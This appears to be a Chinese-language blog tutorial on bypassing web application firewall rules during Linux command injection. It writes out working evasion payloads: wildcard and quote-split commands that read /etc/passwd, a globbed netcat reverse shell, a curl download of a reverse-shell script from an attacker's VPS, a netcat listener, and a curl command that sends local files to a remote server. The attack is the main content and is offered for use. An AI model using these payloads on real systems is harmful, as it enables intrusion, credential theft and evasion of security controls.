本文中讲述的绕过防火墙技巧,只适用于linux系统命令注入环境中,大家就不要纠结于这些绕过技巧不适用于mysql、window什么的。
使用通配符绕过防火墙规则
例如使用 /???/c?t /?t?/p??swd
来代替 cat /etc/passwd
/???/c?t /?t?/p??swd
其实匹配到的是 /bash/cat /etc/passwd
有时候我们想用netcat在目标机器上反弹一个端口,那么可以如下操作:
1 | /???/n? -e /???/b??h 127.0.0.1 6666 |
当然,你还可以使用*星号、[0-9]字符集等匹配符来获取相关信息,有关标准通配符的更多信息可以在终端中键入 命令 man 7 glob
,按照手册进行学习。
使用字符串拼接绕过防火墙规则
连接字符串的操作符主要有以下几种
在python、Java中使用 +
号;在PHP、perl中使用 .
号;在lua语言中则使用 ..
符号来连接字符串。而这些编程语言中的一些字符串连接符,有时候在bash中也可以达到字符连接的效果,这就导致我们可以绕过一些Web应用防火墙规则(例如基于关键词匹配的防火墙规则)。
1 | root@kali:~# echo Mochazz |
看一条pm匹配规则(防火墙规则)
1 | # Detect suspicious client by looking at the user agent identification |
这条规则将忽略大小写进行匹配,如果匹配中passwd或shadow词组,即进行阻断,但是如果我们使用字符串拼接,则可以绕过改规则
1 | root@kali:~# /'b'i''n/'c''a't /e't'c/p''as''sw'd' |
使用以下命令在受害机上下载用于反弹shell的脚本
1 | curl -v "http://VPS的IP/shell.py" -o /tmp/shell.py |
shell.py 代码如下
1 | #!/usr/bin/python |
提前在你的VPS上用nc侦听一个端口
1 | nc -lvp [port] |
更进一步,我们可以将点分十进制的IP转换成长整数IP,例如
1 | curl -v "http://127.0.0.1/shell.py" -o /tmp/shell.py |
使用 \ 符号来绕过WAF
1 | root@kali:~# c\a\t /etc/passwd |
使用 \ 符号加回车来绕过WAF
1 | root@kali:~# c\ |
使用curl -d参数读取本地文件
1 | curl -d @/<file> <remote server> |
关于文中更详细的内容,大家可以参考下面两篇文章。
参考文章: